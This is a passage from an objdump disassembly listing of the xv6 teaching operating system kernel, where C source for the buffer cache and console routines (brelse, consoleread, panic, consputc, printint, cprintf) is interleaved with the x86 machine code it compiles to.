801001bd: 89 5d 08 mov %ebx,0x8(%ebp)
}
801001c0: 8b 5d fc mov -0x4(%ebp),%ebx
801001c3: c9 leave
bwrite(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("bwrite");
b->flags |= B_DIRTY;
iderw(b);
801001c4: e9 17 1f 00 00 jmp 801020e0 <iderw>
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("bwrite");
801001c9: 83 ec 0c sub $0xc,%esp
801001cc: 68 5f 6f 10 80 push $0x80106f5f
801001d1: e8 9a 01 00 00 call 80100370 <panic>
801001d6: 8d 76 00 lea 0x0(%esi),%esi
801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801001e0 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
801001e0: 55 push %ebp
801001e1: 89 e5 mov %esp,%ebp
801001e3: 56 push %esi
801001e4: 53 push %ebx
801001e5: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001e8: 83 ec 0c sub $0xc,%esp
801001eb: 8d 73 0c lea 0xc(%ebx),%esi
801001ee: 56 push %esi
801001ef: e8 cc 3f 00 00 call 801041c0 <holdingsleep>
801001f4: 83 c4 10 add $0x10,%esp
801001f7: 85 c0 test %eax,%eax
801001f9: 74 66 je 80100261 <brelse+0x81>
panic("brelse");
releasesleep(&b->lock);
801001fb: 83 ec 0c sub $0xc,%esp
801001fe: 56 push %esi
801001ff: e8 7c 3f 00 00 call 80104180 <releasesleep>
acquire(&bcache.lock);
80100204: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
8010020b: e8 60 41 00 00 call 80104370 <acquire>
b->refcnt--;
80100210: 8b 43 4c mov 0x4c(%ebx),%eax
if (b->refcnt == 0) {
80100213: 83 c4 10 add $0x10,%esp
panic("brelse");
releasesleep(&b->lock);
acquire(&bcache.lock);
b->refcnt--;
80100216: 83 e8 01 sub $0x1,%eax
if (b->refcnt == 0) {
80100219: 85 c0 test %eax,%eax
panic("brelse");
releasesleep(&b->lock);
acquire(&bcache.lock);
b->refcnt--;
8010021b: 89 43 4c mov %eax,0x4c(%ebx)
if (b->refcnt == 0) {
8010021e: 75 2f jne 8010024f <brelse+0x6f>
// no one is waiting for it.
b->next->prev = b->prev;
80100220: 8b 43 54 mov 0x54(%ebx),%eax
80100223: 8b 53 50 mov 0x50(%ebx),%edx
80100226: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
80100229: 8b 43 50 mov 0x50(%ebx),%eax
8010022c: 8b 53 54 mov 0x54(%ebx),%edx
8010022f: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
80100232: a1 10 fd 10 80 mov 0x8010fd10,%eax
b->prev = &bcache.head;
80100237: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
b->refcnt--;
if (b->refcnt == 0) {
// no one is waiting for it.
b->next->prev = b->prev;
b->prev->next = b->next;
b->next = bcache.head.next;
8010023e: 89 43 54 mov %eax,0x54(%ebx)
b->prev = &bcache.head;
bcache.head.next->prev = b;
80100241: a1 10 fd 10 80 mov 0x8010fd10,%eax
80100246: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
80100249: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
}
release(&bcache.lock);
8010024f: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp)
}
80100256: 8d 65 f8 lea -0x8(%ebp),%esp
80100259: 5b pop %ebx
8010025a: 5e pop %esi
8010025b: 5d pop %ebp
b->prev = &bcache.head;
bcache.head.next->prev = b;
bcache.head.next = b;
}
release(&bcache.lock);
8010025c: e9 bf 41 00 00 jmp 80104420 <release>
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("brelse");
80100261: 83 ec 0c sub $0xc,%esp
80100264: 68 66 6f 10 80 push $0x80106f66
80100269: e8 02 01 00 00 call 80100370 <panic>
8010026e: 66 90 xchg %ax,%ax
80100270 <consoleread>:
}
}
int
consoleread(struct inode *ip, char *dst, int n)
{
80100270: 55 push %ebp
80100271: 89 e5 mov %esp,%ebp
80100273: 57 push %edi
80100274: 56 push %esi
80100275: 53 push %ebx
80100276: 83 ec 28 sub $0x28,%esp
80100279: 8b 7d 08 mov 0x8(%ebp),%edi
8010027c: 8b 75 0c mov 0xc(%ebp),%esi
uint target;
int c;
iunlock(ip);
8010027f: 57 push %edi
80100280: e8 bb 14 00 00 call 80101740 <iunlock>
target = n;
acquire(&cons.lock);
80100285: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010028c: e8 df 40 00 00 call 80104370 <acquire>
while(n > 0){
80100291: 8b 5d 10 mov 0x10(%ebp),%ebx
80100294: 83 c4 10 add $0x10,%esp
80100297: 31 c0 xor %eax,%eax
80100299: 85 db test %ebx,%ebx
8010029b: 0f 8e 9a 00 00 00 jle 8010033b <consoleread+0xcb>
while(input.r == input.w){
801002a1: a1 a0 ff 10 80 mov 0x8010ffa0,%eax
801002a6: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801002ac: 74 24 je 801002d2 <consoleread+0x62>
801002ae: eb 58 jmp 80100308 <consoleread+0x98>
if(myproc()->killed){
release(&cons.lock);
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
801002b0: 83 ec 08 sub $0x8,%esp
801002b3: 68 20 a5 10 80 push $0x8010a520
801002b8: 68 a0 ff 10 80 push $0x8010ffa0
801002bd: e8 6e 3a 00 00 call 80103d30 <sleep>
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
while(input.r == input.w){
801002c2: a1 a0 ff 10 80 mov 0x8010ffa0,%eax
801002c7: 83 c4 10 add $0x10,%esp
801002ca: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801002d0: 75 36 jne 80100308 <consoleread+0x98>
if(myproc()->killed){
801002d2: e8 99 34 00 00 call 80103770 <myproc>
801002d7: 8b 40 24 mov 0x24(%eax),%eax
801002da: 85 c0 test %eax,%eax
801002dc: 74 d2 je 801002b0 <consoleread+0x40>
release(&cons.lock);
801002de: 83 ec 0c sub $0xc,%esp
801002e1: 68 20 a5 10 80 push $0x8010a520
801002e6: e8 35 41 00 00 call 80104420 <release>
ilock(ip);
801002eb: 89 3c 24 mov %edi,(%esp)
801002ee: e8 6d 13 00 00 call 80101660 <ilock>
return -1;
801002f3: 83 c4 10 add $0x10,%esp
801002f6: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&cons.lock);
ilock(ip);
return target - n;
}
801002fb: 8d 65 f4 lea -0xc(%ebp),%esp
801002fe: 5b pop %ebx
801002ff: 5e pop %esi
80100300: 5f pop %edi
80100301: 5d pop %ebp
80100302: c3 ret
80100303: 90 nop
80100304: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
80100308: 8d 50 01 lea 0x1(%eax),%edx
8010030b: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0
80100311: 89 c2 mov %eax,%edx
80100313: 83 e2 7f and $0x7f,%edx
80100316: 0f be 92 20 ff 10 80 movsbl -0x7fef00e0(%edx),%edx
if(c == C('D')){ // EOF
8010031d: 83 fa 04 cmp $0x4,%edx
80100320: 74 39 je 8010035b <consoleread+0xeb>
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
80100322: 83 c6 01 add $0x1,%esi
--n;
80100325: 83 eb 01 sub $0x1,%ebx
if(c == '\n')
80100328: 83 fa 0a cmp $0xa,%edx
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
8010032b: 88 56 ff mov %dl,-0x1(%esi)
--n;
if(c == '\n')
8010032e: 74 35 je 80100365 <consoleread+0xf5>
int c;
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
80100330: 85 db test %ebx,%ebx
80100332: 0f 85 69 ff ff ff jne 801002a1 <consoleread+0x31>
80100338: 8b 45 10 mov 0x10(%ebp),%eax
*dst++ = c;
--n;
if(c == '\n')
break;
}
release(&cons.lock);
8010033b: 83 ec 0c sub $0xc,%esp
8010033e: 89 45 e4 mov %eax,-0x1c(%ebp)
80100341: 68 20 a5 10 80 push $0x8010a520
80100346: e8 d5 40 00 00 call 80104420 <release>
ilock(ip);
8010034b: 89 3c 24 mov %edi,(%esp)
8010034e: e8 0d 13 00 00 call 80101660 <ilock>
return target - n;
80100353: 83 c4 10 add $0x10,%esp
80100356: 8b 45 e4 mov -0x1c(%ebp),%eax
80100359: eb a0 jmp 801002fb <consoleread+0x8b>
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
if(c == C('D')){ // EOF
if(n < target){
8010035b: 39 5d 10 cmp %ebx,0x10(%ebp)
8010035e: 76 05 jbe 80100365 <consoleread+0xf5>
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
80100360: a3 a0 ff 10 80 mov %eax,0x8010ffa0
80100365: 8b 45 10 mov 0x10(%ebp),%eax
80100368: 29 d8 sub %ebx,%eax
8010036a: eb cf jmp 8010033b <consoleread+0xcb>
8010036c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100370 <panic>:
release(&cons.lock);
}
void
panic(char *s)
{
80100370: 55 push %ebp
80100371: 89 e5 mov %esp,%ebp
80100373: 56 push %esi
80100374: 53 push %ebx
80100375: 83 ec 30 sub $0x30,%esp
}
static inline void
cli(void)
{
asm volatile("cli");
80100378: fa cli
int i;
uint pcs[10];
cli();
cons.locking = 0;
80100379: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554
80100380: 00 00 00
// use lapiccpunum so that we can call panic from mycpu()
cprintf("lapicid %d: panic: ", lapicid());
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
80100383: 8d 5d d0 lea -0x30(%ebp),%ebx
80100386: 8d 75 f8 lea -0x8(%ebp),%esi
uint pcs[10];
cli();
cons.locking = 0;
// use lapiccpunum so that we can call panic from mycpu()
cprintf("lapicid %d: panic: ", lapicid());
80100389: e8 52 23 00 00 call 801026e0 <lapicid>
8010038e: 83 ec 08 sub $0x8,%esp
80100391: 50 push %eax
80100392: 68 6d 6f 10 80 push $0x80106f6d
80100397: e8 c4 02 00 00 call 80100660 <cprintf>
cprintf(s);
8010039c: 58 pop %eax
8010039d: ff 75 08 pushl 0x8(%ebp)
801003a0: e8 bb 02 00 00 call 80100660 <cprintf>
cprintf("\n");
801003a5: c7 04 24 bb 78 10 80 movl $0x801078bb,(%esp)
801003ac: e8 af 02 00 00 call 80100660 <cprintf>
getcallerpcs(&s, pcs);
801003b1: 5a pop %edx
801003b2: 8d 45 08 lea 0x8(%ebp),%eax
801003b5: 59 pop %ecx
801003b6: 53 push %ebx
801003b7: 50 push %eax
801003b8: e8 73 3e 00 00 call 80104230 <getcallerpcs>
801003bd: 83 c4 10 add $0x10,%esp
for(i=0; i<10; i++)
cprintf(" %p", pcs[i]);
801003c0: 83 ec 08 sub $0x8,%esp
801003c3: ff 33 pushl (%ebx)
801003c5: 83 c3 04 add $0x4,%ebx
801003c8: 68 81 6f 10 80 push $0x80106f81
801003cd: e8 8e 02 00 00 call 80100660 <cprintf>
// use lapiccpunum so that we can call panic from mycpu()
cprintf("lapicid %d: panic: ", lapicid());
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
for(i=0; i<10; i++)
801003d2: 83 c4 10 add $0x10,%esp
801003d5: 39 f3 cmp %esi,%ebx
801003d7: 75 e7 jne 801003c0 <panic+0x50>
cprintf(" %p", pcs[i]);
panicked = 1; // freeze other CPU
801003d9: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558
801003e0: 00 00 00
801003e3: eb fe jmp 801003e3 <panic+0x73>
801003e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801003e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801003f0 <consputc>:
}
void
consputc(int c)
{
if(panicked){
801003f0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx
801003f6: 85 d2 test %edx,%edx
801003f8: 74 06 je 80100400 <consputc+0x10>
801003fa: fa cli
801003fb: eb fe jmp 801003fb <consputc+0xb>
801003fd: 8d 76 00 lea 0x0(%esi),%esi
crt[pos] = ' ' | 0x0700;
}
void
consputc(int c)
{
80100400: 55 push %ebp
80100401: 89 e5 mov %esp,%ebp
80100403: 57 push %edi
80100404: 56 push %esi
80100405: 53 push %ebx
80100406: 89 c3 mov %eax,%ebx
80100408: 83 ec 0c sub $0xc,%esp
cli();
for(;;)
;
}
if(c == BACKSPACE){
8010040b: 3d 00 01 00 00 cmp $0x100,%eax
80100410: 0f 84 b8 00 00 00 je 801004ce <consputc+0xde>
uartputc('\b'); uartputc(' '); uartputc('\b');
} else
uartputc(c);
80100416: 83 ec 0c sub $0xc,%esp
80100419: 50 push %eax
8010041a: e8 d1 56 00 00 call 80105af0 <uartputc>
8010041f: 83 c4 10 add $0x10,%esp
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100422: bf d4 03 00 00 mov $0x3d4,%edi
80100427: b8 0e 00 00 00 mov $0xe,%eax
8010042c: 89 fa mov %edi,%edx
8010042e: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010042f: be d5 03 00 00 mov $0x3d5,%esi
80100434: 89 f2 mov %esi,%edx
80100436: ec in (%dx),%al
{
int pos;
// Cursor position: col + 80*row.
outb(CRTPORT, 14);
pos = inb(CRTPORT+1) << 8;
80100437: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010043a: 89 fa mov %edi,%edx
8010043c: c1 e0 08 shl $0x8,%eax
8010043f: 89 c1 mov %eax,%ecx
80100441: b8 0f 00 00 00 mov $0xf,%eax
80100446: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80100447: 89 f2 mov %esi,%edx
80100449: ec in (%dx),%al
outb(CRTPORT, 15);
pos |= inb(CRTPORT+1);
8010044a: 0f b6 c0 movzbl %al,%eax
8010044d: 09 c8 or %ecx,%eax
if(c == '\n')
8010044f: 83 fb 0a cmp $0xa,%ebx
80100452: 0f 84 0b 01 00 00 je 80100563 <consputc+0x173>
pos += 80 - pos%80;
else if(c == BACKSPACE){
80100458: 81 fb 00 01 00 00 cmp $0x100,%ebx
8010045e: 0f 84 e6 00 00 00 je 8010054a <consputc+0x15a>
if(pos > 0) --pos;
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
80100464: 0f b6 d3 movzbl %bl,%edx
80100467: 8d 78 01 lea 0x1(%eax),%edi
8010046a: 80 ce 07 or $0x7,%dh
8010046d: 66 89 94 00 00 80 0b mov %dx,-0x7ff48000(%eax,%eax,1)
80100474: 80
if(pos < 0 || pos > 25*80)
80100475: 81 ff d0 07 00 00 cmp $0x7d0,%edi
8010047b: 0f 8f bc 00 00 00 jg 8010053d <consputc+0x14d>
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
80100481: 81 ff 7f 07 00 00 cmp $0x77f,%edi
80100487: 7f 6f jg 801004f8 <consputc+0x108>
80100489: 89 f8 mov %edi,%eax
8010048b: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx
80100492: 89 fb mov %edi,%ebx
80100494: c1 e8 08 shr $0x8,%eax
80100497: 89 c6 mov %eax,%esi
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100499: bf d4 03 00 00 mov $0x3d4,%edi
8010049e: b8 0e 00 00 00 mov $0xe,%eax
801004a3: 89 fa mov %edi,%edx
801004a5: ee out %al,(%dx)
801004a6: ba d5 03 00 00 mov $0x3d5,%edx
801004ab: 89 f0 mov %esi,%eax
801004ad: ee out %al,(%dx)
801004ae: b8 0f 00 00 00 mov $0xf,%eax
801004b3: 89 fa mov %edi,%edx
801004b5: ee out %al,(%dx)
801004b6: ba d5 03 00 00 mov $0x3d5,%edx
801004bb: 89 d8 mov %ebx,%eax
801004bd: ee out %al,(%dx)
outb(CRTPORT, 14);
outb(CRTPORT+1, pos>>8);
outb(CRTPORT, 15);
outb(CRTPORT+1, pos);
crt[pos] = ' ' | 0x0700;
801004be: b8 20 07 00 00 mov $0x720,%eax
801004c3: 66 89 01 mov %ax,(%ecx)
if(c == BACKSPACE){
uartputc('\b'); uartputc(' '); uartputc('\b');
} else
uartputc(c);
cgaputc(c);
}
801004c6: 8d 65 f4 lea -0xc(%ebp),%esp
801004c9: 5b pop %ebx
801004ca: 5e pop %esi
801004cb: 5f pop %edi
801004cc: 5d pop %ebp
801004cd: c3 ret
for(;;)
;
}
if(c == BACKSPACE){
uartputc('\b'); uartputc(' '); uartputc('\b');
801004ce: 83 ec 0c sub $0xc,%esp
801004d1: 6a 08 push $0x8
801004d3: e8 18 56 00 00 call 80105af0 <uartputc>
801004d8: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801004df: e8 0c 56 00 00 call 80105af0 <uartputc>
801004e4: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004eb: e8 00 56 00 00 call 80105af0 <uartputc>
801004f0: 83 c4 10 add $0x10,%esp
801004f3: e9 2a ff ff ff jmp 80100422 <consputc+0x32>
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004f8: 83 ec 04 sub $0x4,%esp
pos -= 80;
801004fb: 8d 5f b0 lea -0x50(%edi),%ebx
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004fe: 68 60 0e 00 00 push $0xe60
80100503: 68 a0 80 0b 80 push $0x800b80a0
80100508: 68 00 80 0b 80 push $0x800b8000
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
8010050d: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
80100514: e8 07 40 00 00 call 80104520 <memmove>
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
80100519: b8 80 07 00 00 mov $0x780,%eax
8010051e: 83 c4 0c add $0xc,%esp
80100521: 29 d8 sub %ebx,%eax
80100523: 01 c0 add %eax,%eax
80100525: 50 push %eax
80100526: 6a 00 push $0x0
80100528: 56 push %esi
80100529: e8 42 3f 00 00 call 80104470 <memset>
8010052e: 89 f1 mov %esi,%ecx
80100530: 83 c4 10 add $0x10,%esp
80100533: be 07 00 00 00 mov $0x7,%esi
80100538: e9 5c ff ff ff jmp 80100499 <consputc+0xa9>
if(pos > 0) --pos;
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
8010053d: 83 ec 0c sub $0xc,%esp
80100540: 68 85 6f 10 80 push $0x80106f85
80100545: e8 26 fe ff ff call 80100370 <panic>
pos |= inb(CRTPORT+1);
if(c == '\n')
pos += 80 - pos%80;
else if(c == BACKSPACE){
if(pos > 0) --pos;
8010054a: 85 c0 test %eax,%eax
8010054c: 8d 78 ff lea -0x1(%eax),%edi
8010054f: 0f 85 20 ff ff ff jne 80100475 <consputc+0x85>
80100555: b9 00 80 0b 80 mov $0x800b8000,%ecx
8010055a: 31 db xor %ebx,%ebx
8010055c: 31 f6 xor %esi,%esi
8010055e: e9 36 ff ff ff jmp 80100499 <consputc+0xa9>
pos = inb(CRTPORT+1) << 8;
outb(CRTPORT, 15);
pos |= inb(CRTPORT+1);
if(c == '\n')
pos += 80 - pos%80;
80100563: ba 67 66 66 66 mov $0x66666667,%edx
80100568: f7 ea imul %edx
8010056a: 89 d0 mov %edx,%eax
8010056c: c1 e8 05 shr $0x5,%eax
8010056f: 8d 04 80 lea (%eax,%eax,4),%eax
80100572: c1 e0 04 shl $0x4,%eax
80100575: 8d 78 50 lea 0x50(%eax),%edi
80100578: e9 f8 fe ff ff jmp 80100475 <consputc+0x85>
8010057d: 8d 76 00 lea 0x0(%esi),%esi
80100580 <printint>:
int locking;
} cons;
static void
printint(int xx, int base, int sign)
{
80100580: 55 push %ebp
80100581: 89 e5 mov %esp,%ebp
80100583: 57 push %edi
80100584: 56 push %esi
80100585: 53 push %ebx
80100586: 89 d6 mov %edx,%esi
80100588: 83 ec 2c sub $0x2c,%esp
static char digits[] = "0123456789abcdef";
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
8010058b: 85 c9 test %ecx,%ecx
int locking;
} cons;
static void
printint(int xx, int base, int sign)
{
8010058d: 89 4d d4 mov %ecx,-0x2c(%ebp)
static char digits[] = "0123456789abcdef";
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
80100590: 74 0c je 8010059e <printint+0x1e>
80100592: 89 c7 mov %eax,%edi
80100594: c1 ef 1f shr $0x1f,%edi
80100597: 85 c0 test %eax,%eax
80100599: 89 7d d4 mov %edi,-0x2c(%ebp)
8010059c: 78 51 js 801005ef <printint+0x6f>
x = -xx;
else
x = xx;
i = 0;
8010059e: 31 ff xor %edi,%edi
801005a0: 8d 5d d7 lea -0x29(%ebp),%ebx
801005a3: eb 05 jmp 801005aa <printint+0x2a>
801005a5: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
801005a8: 89 cf mov %ecx,%edi
801005aa: 31 d2 xor %edx,%edx
801005ac: 8d 4f 01 lea 0x1(%edi),%ecx
801005af: f7 f6 div %esi
801005b1: 0f b6 92 b0 6f 10 80 movzbl -0x7fef9050(%edx),%edx
}while((x /= base) != 0);
801005b8: 85 c0 test %eax,%eax
else
x = xx;
i = 0;
do{
buf[i++] = digits[x % base];
801005ba: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
801005bd: 75 e9 jne 801005a8 <printint+0x28>
if(sign)
801005bf: 8b 45 d4 mov -0x2c(%ebp),%eax
801005c2: 85 c0 test %eax,%eax
801005c4: 74 08 je 801005ce <printint+0x4e>
buf[i++] = '-';
801005c6: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
801005cb: 8d 4f 02 lea 0x2(%edi),%ecx
801005ce: 8d 74 0d d7 lea -0x29(%ebp,%ecx,1),%esi
801005d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
while(--i >= 0)
consputc(buf[i]);
801005d8: 0f be 06 movsbl (%esi),%eax
801005db: 83 ee 01 sub $0x1,%esi
801005de: e8 0d fe ff ff call 801003f0 <consputc>
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
801005e3: 39 de cmp %ebx,%esi
801005e5: 75 f1 jne 801005d8 <printint+0x58>
consputc(buf[i]);
}
801005e7: 83 c4 2c add $0x2c,%esp
801005ea: 5b pop %ebx
801005eb: 5e pop %esi
801005ec: 5f pop %edi
801005ed: 5d pop %ebp
801005ee: c3 ret
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
x = -xx;
801005ef: f7 d8 neg %eax
801005f1: eb ab jmp 8010059e <printint+0x1e>
801005f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801005f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80100600 <consolewrite>:
return target - n;
}
int
consolewrite(struct inode *ip, char *buf, int n)
{
80100600: 55 push %ebp
80100601: 89 e5 mov %esp,%ebp
80100603: 57 push %edi
80100604: 56 push %esi
80100605: 53 push %ebx
80100606: 83 ec 18 sub $0x18,%esp
int i;
iunlock(ip);
80100609: ff 75 08 pushl 0x8(%ebp)
return target - n;
}
int
consolewrite(struct inode *ip, char *buf, int n)
{
8010060c: 8b 75 10 mov 0x10(%ebp),%esi
int i;
iunlock(ip);
8010060f: e8 2c 11 00 00 call 80101740 <iunlock>
acquire(&cons.lock);
80100614: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010061b: e8 50 3d 00 00 call 80104370 <acquire>
80100620: 8b 7d 0c mov 0xc(%ebp),%edi
for(i = 0; i < n; i++)
80100623: 83 c4 10 add $0x10,%esp
80100626: 85 f6 test %esi,%esi
80100628: 8d 1c 37 lea (%edi,%esi,1),%ebx
8010062b: 7e 12 jle 8010063f <consolewrite+0x3f>
8010062d: 8d 76 00 lea 0x0(%esi),%esi
consputc(buf[i] & 0xff);
80100630: 0f b6 07 movzbl (%edi),%eax
80100633: 83 c7 01 add $0x1,%edi
80100636: e8 b5 fd ff ff call 801003f0 <consputc>
{
int i;
iunlock(ip);
acquire(&cons.lock);
for(i = 0; i < n; i++)
8010063b: 39 df cmp %ebx,%edi
8010063d: 75 f1 jne 80100630 <consolewrite+0x30>
consputc(buf[i] & 0xff);
release(&cons.lock);
8010063f: 83 ec 0c sub $0xc,%esp
80100642: 68 20 a5 10 80 push $0x8010a520
80100647: e8 d4 3d 00 00 call 80104420 <release>
ilock(ip);
8010064c: 58 pop %eax
8010064d: ff 75 08 pushl 0x8(%ebp)
80100650: e8 0b 10 00 00 call 80101660 <ilock>
return n;
}
80100655: 8d 65 f4 lea -0xc(%ebp),%esp
80100658: 89 f0 mov %esi,%eax
8010065a: 5b pop %ebx
8010065b: 5e pop %esi
8010065c: 5f pop %edi
8010065d: 5d pop %ebp
8010065e: c3 ret
8010065f: 90 nop
80100660 <cprintf>:
//PAGEBREAK: 50
// Print to the console. only understands %d, %x, %p, %s.
void
cprintf(char *fmt, ...)
{
80100660: 55 push %ebp
80100661: 89 e5 mov %esp,%ebp
80100663: 57 push %edi
80100664: 56 push %esi
80100665: 53 push %ebx
80100666: 83 ec 1c sub $0x1c,%esp
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
80100669: a1 54 a5 10 80 mov 0x8010a554,%eax
if(locking)
8010066e: 85 c0 test %eax,%eax
{
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
80100670: 89 45 e0 mov %eax,-0x20(%ebp)
if(locking)
80100673: 0f 85 47 01 00 00 jne 801007c0 <cprintf+0x160>
acquire(&cons.lock);
if (fmt == 0)
80100679: 8b 45 08 mov 0x8(%ebp),%eax
8010067c: 85 c0 test %eax,%eax
8010067e: 89 c1 mov %eax,%ecx
80100680: 0f 84 4f 01 00 00 je 801007d5 <cprintf+0x175>
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100686: 0f b6 00 movzbl (%eax),%eax
80100689: 31 db xor %ebx,%ebx
8010068b: 8d 75 0c lea 0xc(%ebp),%esi
8010068e: 89 cf mov %ecx,%edi
80100690: 85 c0 test %eax,%eax
80100692: 75 55 jne 801006e9 <cprintf+0x89>
80100694: eb 68 jmp 801006fe <cprintf+0x9e>
80100696: 8d 76 00 lea 0x0(%esi),%esi
80100699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(c != '%'){
consputc(c);
continue;
}
c = fmt[++i] & 0xff;
801006a0: 83 c3 01 add $0x1,%ebx
801006a3: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx
if(c == 0)
801006a7: 85 d2 test %edx,%edx
801006a9: 74 53 je 801006fe <cprintf+0x9e>
break;
switch(c){
801006ab: 83 fa 70 cmp $0x70,%edx
801006ae: 74 7a je 8010072a <cprintf+0xca>
801006b0: 7f 6e jg 80100720 <cprintf+0xc0>
801006b2: 83 fa 25 cmp $0x25,%edx
801006b5: 0f 84 ad 00 00 00 je 80100768 <cprintf+0x108>
801006bb: 83 fa 64 cmp $0x64,%edx
801006be: 0f 85 84 00 00 00 jne 80100748 <cprintf+0xe8>
case 'd':
printint(*argp++, 10, 1);
801006c4: 8d 46 04 lea 0x4(%esi),%eax
801006c7: b9 01 00 00 00 mov $0x1,%ecx
801006cc: ba 0a 00 00 00 mov $0xa,%edx
801006d1: 89 45 e4 mov %eax,-0x1c(%ebp)
801006d4: 8b 06 mov (%esi),%eax
801006d6: e8 a5 fe ff ff call 80100580 <printint>
801006db: 8b 75 e4 mov -0x1c(%ebp),%esi
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006de: 83 c3 01 add $0x1,%ebx
801006e1: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006e5: 85 c0 test %eax,%eax
801006e7: 74 15 je 801006fe <cprintf+0x9e>
if(c != '%'){
801006e9: 83 f8 25 cmp $0x25,%eax
801006ec: 74 b2 je 801006a0 <cprintf+0x40>
s = "(null)";
for(; *s; s++)
consputc(*s);
break;
case '%':
consputc('%');
801006ee: e8 fd fc ff ff call 801003f0 <consputc>
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006f3: 83 c3 01 add $0x1,%ebx
801006f6: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006fa: 85 c0 test %eax,%eax
801006fc: 75 eb jne 801006e9 <cprintf+0x89>
consputc(c);
break;
}
}
if(locking)
801006fe: 8b 45 e0 mov -0x20(%ebp),%eax
80100701: 85 c0 test %eax,%eax
80100703: 74 10 je 80100715 <cprintf+0xb5>
release(&cons.lock);
80100705: 83 ec 0c sub $0xc,%esp
